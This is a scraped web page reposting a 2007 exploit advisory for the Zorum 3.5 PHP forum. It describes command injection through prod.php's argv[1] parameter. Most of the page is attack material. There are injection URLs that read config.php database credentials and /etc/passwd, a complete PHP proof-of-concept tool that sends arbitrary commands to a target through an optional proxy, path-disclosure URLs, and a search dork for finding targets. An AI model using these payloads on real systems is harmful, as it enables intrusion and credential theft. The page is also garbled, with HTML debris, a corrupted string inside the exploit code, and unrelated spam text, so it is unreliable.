Zorum 3.5 remote code execution poc exploit Zorum 3.5 remote code execution poc exploit software: description: Zorum i" name="description" />

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>
  • Zorum 3.5 remote code execution poc exploit

    發表于:2007-07-04來源:作者:點擊數: 標簽:
    ant : normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;"> Zorum 3.5 remote code execution poc exploit Zorum 3.5 remote code execution poc exploit software: description: Zorum i
    ant: normal; font-weight: normal; font-size: 10pt; line-height: normal; font-size-adjust: none; font-stretch: normal;">Zorum 3.5 remote code execution poc exploit

    Zorum 3.5 remote code execution poc exploit

    software:
    description: Zorum is a freely available, open source Web-based forum
    application implemented in PHP. It is available for UNIX, Linux, and any other
    platform that supports PHP script execution.

    author site: http://zorum.phpoutsourcing.com/


    1) remote code execution:

    vulnerable code, in /gorum/prod.php file:


    07 $doubleApp = isset($argv[1]);

    ...
    14 if( $doubleApp )
    15 {
    16 $appDir = $argv[1];
    17 system("mkdir $prodDir/$appDir");
    ...

    a user can execute arbitrary commands using pipe char, example:

    http://[target]/zorum/gorum/prod.php?argv[1]=|ls%20-la

    to list directories

    http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20../config.php

    to see database username/password...

    http://[target]/zorum/gorum/prod.php?argv[1]=|cat%20/etc/passwd

    to see /etc/passwd file

    this is my proof of concept exploit with proxy support:

    <?php
    /* Zorum 3.5 (possibly prior versions) remote code execution
    by rgod
    site: http://rgod.altervista.org


    make these changes in php.ini if you have troubles
    with this script:
    allow_call_time_pass_reference = on
    register_globals = on */

    error_reporting(0);
    ini_set("max_execution_time",0);
    ini_set("default_socket_timeout", 2);
    ob_implicit_flush (1);

    echo '<head><title>Zorum 3.5 remote commands execution</title>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <style type="text/css">
    <!--
    body,td,th {color: #00FF00;}
    body {background-color: #000000;}
    .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 10px; }
    .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
    font-weight: bold;
    font-style: italic;
    }
    -->
    </style></head>
    <body>
    <p class="Stile6">Zorum 3.5 (possibly prior versions) remote commands execution</p>
    <p class="Stile6">a script by rgod at <a href="http://rgod.altervista.org"; target="_blank">http://rgod.altervista.org<;/a></p>
    <table width="84%" >
    <tr>
    <td width="43%">
    <form name="form1" method="post" action="'.$PHP_SELF.'?path=value&host=value&port=value&command=value&proxy=value">
    <p>
    <input type="text" name="host">
    <span class="Stile5">hostname (ex: www.sitename.com) </span></p>
    <p>
    <input type="text" name="path">
    <span class="Stile5">path (ex: /zorum/gorum/ or /gorum/ or just /) </span></p>
    <p>
    <input type="text" name="port">
    <span class="Stile5">specify a port other than 80 (default value) </span></p>
    <p>
    <input type="text" name="command">
    <span class="Stile5">a Unix command, example: ls -la to list directories, cat /etc/passwd to show passwd file </span></p>
    <p>
    <input type="text" name="proxy">
    <span class="Stile5">send exploit through an HTTP proxy (ip:port) </span></p>
    <p>
    <input type="submit" name="Submit" value="go!">
    </p>
    </form></td>
    </tr>
    </table>
    </body>
    </html>';

    function show($headeri)
    {
    $ii=0;
    $ji=0;
    $ki=0;
    $ci=0;
    echo '<table border="0"><tr>';
    while ($ii <= strlen($headeri)-1)
    {
    $datai=dechex(ord($headeri[$ii]));
    if ($ji==16) {
    $ji=0;
    $ci++;
    echo "<td>&nbsp;&nbsp;</td>";
    for ($li=0; $li<=15; $li++)
    { echo "<td>".$headeri[$li+$ki]."</td>";
    }
    $ki=$ki+16;
    echo "</tr><tr>";
    }
    if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
    {echo "<td>".$datai."</td> ";}
    $ii++;
    $ji++;
    }
    for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
    { echo "<td>&nbsp&nbsp</td>";
    }

    for ($li=$ci*16; $li<=strlen($headeri); $li++)
    { echo "<td>".$headeri[$li]."</td>";
    }

    echo "</tr></table>";
    }

    $proxy_regex = '(\b\d\.\d\.\d\.\d\:\d\b)';

    if (($path<>'') and ($host<>'') and ($command<>''))
    {


    if ($port=='')
    if ($proxy=='')
    {$packet="GET ".$path."prod.php?argv[1]=|".urlencode($command)." HTTP/1.1\r\n";}
    else
    {
    $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
    if ($c==0) {
    echo 'check the proxy...<br>';
    die;
    }
    else
    {$packet="GET http://";.$host.$path."prod.php?argv[1]=|".urlencode($command)." HTTP/1.0\r\n";}
    }
    $packet.="Aclearcase/" target="_blank" >ccept: */*\r\n";
    $packet.="Accept-Encoding: text/plain\r\n";
    $packet.="Host: ".$host."\r\n\r\n";
    $packet.="Connection: Close\r\n\r\n";
    show($packet);
    if ($proxy=='')

    else
    {$parts=explode(':',$proxy);
    echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
    $fp=fsockopen($parts[0],$parts[1]);
    if (!$fp) { echo 'No response from proxy...';
    die;
    }
    }
    fputs($fp,$packet);
    $data='';
    if ($proxy=='')
    {
    while (!feof($fp))
    {
    $data.=fgets($fp);
    }
    }
    else
    {
    $data='';
    while ((!feof($fp)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
    {
    $data.=fread($fp,1);
    }

    }
    fclose($fp);
    echo nl2br(htmlentities($data));


    }
    ?>


    2) path disclosure:

    http://[target]/zorum/gorum/notification.php
    http://[target]/zorum/user.php
    http://[target]/zorum/attach.php
    http://[target]/zorum/blacklist.php
    http://[target]/zorum/forum.php
    http://[target]/zorum/globalstat.php
    http://[target]/zorum/gorum/trace.php
    http://[target]/zorum/gorum/badwords.php
    http://[target]/zorum/gorum/flood.php

    and so on...

    googledork:

    "Powered by Zorum 3.5"


    rgod
    site: http://rgod.altervista.org
    mail: retrogod at aliceposta it

    原文轉自:http://www.kjueaiud.com

    老湿亚洲永久精品ww47香蕉图片_日韩欧美中文字幕北美法律_国产AV永久无码天堂影院_久久婷婷综合色丁香五月

  • <ruby id="5koa6"></ruby>
    <ruby id="5koa6"><option id="5koa6"><thead id="5koa6"></thead></option></ruby>

    <progress id="5koa6"></progress>

  • <strong id="5koa6"></strong>